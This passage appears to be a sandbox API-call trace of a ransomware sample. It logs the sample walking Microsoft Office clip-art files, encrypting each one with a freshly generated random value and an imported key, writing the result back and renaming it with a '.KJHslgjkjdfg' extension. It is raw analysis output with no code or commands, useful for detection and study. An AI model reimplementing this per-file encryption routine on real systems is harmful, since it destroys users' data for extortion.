hHeap=0x2a0000) returned 1 [0160.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.kjhslgjkjdfg")) returned 1 [0160.942] CloseHandle (hObject=0x114) returned 1 [0160.942] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0160.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.943] GetProcessHeap () returned 0x2a0000 [0160.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.943] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.943] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.945] GetProcessHeap () returned 0x2a0000 [0160.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.946] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.946] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x318, lpOverlapped=0x0) returned 1 [0160.946] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320, dwBufLen=0x320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.946] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x320, lpOverlapped=0x0) returned 1 [0160.946] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.946] SetEndOfFile (hFile=0x114) returned 1 [0160.948] GetProcessHeap () returned 0x2a0000 [0160.948] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.948] GetProcessHeap () returned 0x2a0000 [0160.948] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.kjhslgjkjdfg")) returned 1 [0160.949] CloseHandle (hObject=0x114) returned 1 [0160.949] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0160.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.950] GetProcessHeap () returned 0x2a0000 [0160.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.950] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.950] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0160.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.952] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.952] GetProcessHeap () returned 0x2a0000 [0160.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.952] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.952] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.952] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.952] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.953] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x432, lpOverlapped=0x0) returned 1 [0160.953] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x440, dwBufLen=0x440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x440) returned 1 [0160.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.953] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x440, lpOverlapped=0x0) returned 1 [0160.953] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.953] SetEndOfFile (hFile=0x114) returned 1 [0160.955] GetProcessHeap () returned 0x2a0000 [0160.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.955] GetProcessHeap () returned 0x2a0000 [0160.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.kjhslgjkjdfg")) returned 1 [0160.956] CloseHandle (hObject=0x114) returned 1 [0160.956] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0160.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.957] GetProcessHeap () returned 0x2a0000 [0160.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.957] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.959] GetProcessHeap () returned 0x2a0000 [0160.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.960] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.960] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x738, lpOverlapped=0x0) returned 1 [0160.960] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x740, dwBufLen=0x740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x740) returned 1 [0160.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.960] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x740, lpOverlapped=0x0) returned 1 [0160.960] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.960] SetEndOfFile (hFile=0x114) returned 1 [0160.962] GetProcessHeap () returned 0x2a0000 [0160.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.962] GetProcessHeap () returned 0x2a0000 [0160.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.kjhslgjkjdfg")) returned 1 [0160.964] CloseHandle (hObject=0x114) returned 1 [0160.964] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0160.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.966] GetProcessHeap () returned 0x2a0000 [0160.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.966] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.968] GetProcessHeap () returned 0x2a0000 [0160.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.968] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.968] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2bb6, lpOverlapped=0x0) returned 1 [0160.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bc0) returned 1 [0160.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.969] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2bc0, lpOverlapped=0x0) returned 1 [0160.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.970] SetEndOfFile (hFile=0x114) returned 1 [0160.972] GetProcessHeap () returned 0x2a0000 [0160.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.972] GetProcessHeap () returned 0x2a0000 [0160.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.kjhslgjkjdfg")) returned 1 [0160.974] CloseHandle (hObject=0x114) returned 1 [0160.974] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0160.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.976] GetProcessHeap () returned 0x2a0000 [0160.976] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 